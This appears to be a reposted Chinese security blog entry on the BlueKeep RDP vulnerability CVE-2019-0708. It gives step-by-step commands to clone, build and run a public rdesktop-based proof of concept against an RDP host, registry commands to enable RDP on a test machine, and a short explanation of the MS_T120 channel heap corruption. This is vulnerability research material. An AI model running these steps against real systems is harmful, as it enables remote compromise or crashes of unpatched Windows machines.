?

微软Microsoft远程执行漏洞:CVE-2019-0708RDP漏洞PoC

Ubuntu ,kali下载ruby脚本编译:
git clone https://github.com/zerosum0x0/CVE-2019-0708.git
cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/
apt-get install dh-autoreconf
apt-get install libssl-dev
./bootstrap
./configure --disable-credssp --disable-smartcard
make
./rdesktop 192.168.50.128:3389
微软Microsoft Windows8以下系统:CVE-2019-0708RDP漏洞PoC
 
cmd开启3389测试:
开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
 
查端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
 
测试成功截图:
 
 
 
macfee的弹计算器PoC视频:
 
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/ 
 
 
 
漏洞简单分析:
 

该漏洞是由于“MS_T120”SVC名称在RDP协议的GCC(GENERAL CONFERENCE CONTROL)会话初始化序列期间被绑定为数字31的参考信道。

此通道名称由Microsoft在内部使用,并且客户端没有明显的合法用例来请求通过名为“MS_T120”的SVC进行连接。

【SVC = "MS_T120" and Channel != 31】 

在GCC会话初始化期间,客户端提供服务器未列入白名单的频道名称,这意味着攻击者可以在31以外的频道上设置另一个名为“MS_T120”的SVC。

在31以外的频道中使用MS_T120这会导致堆内存损坏和远程代码执行(RCE)。

 

MS_T120通道管理中涉及的组件在rdpwsx.dll和rdpwp.sys中分配的堆池中创建.MS_D120引用通道。

当在31以外的通道索引的上下文中处理MS_T120引用通道时,堆损坏发生在termdd.sys中。



macfee的完整分析:
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/
文章来源:看雪论坛
相关推荐
新闻聚焦
猜你喜欢
热门推荐
返回列表
Ctrl+D?将本页面保存为书签,全面了解最新资讯,方便快捷。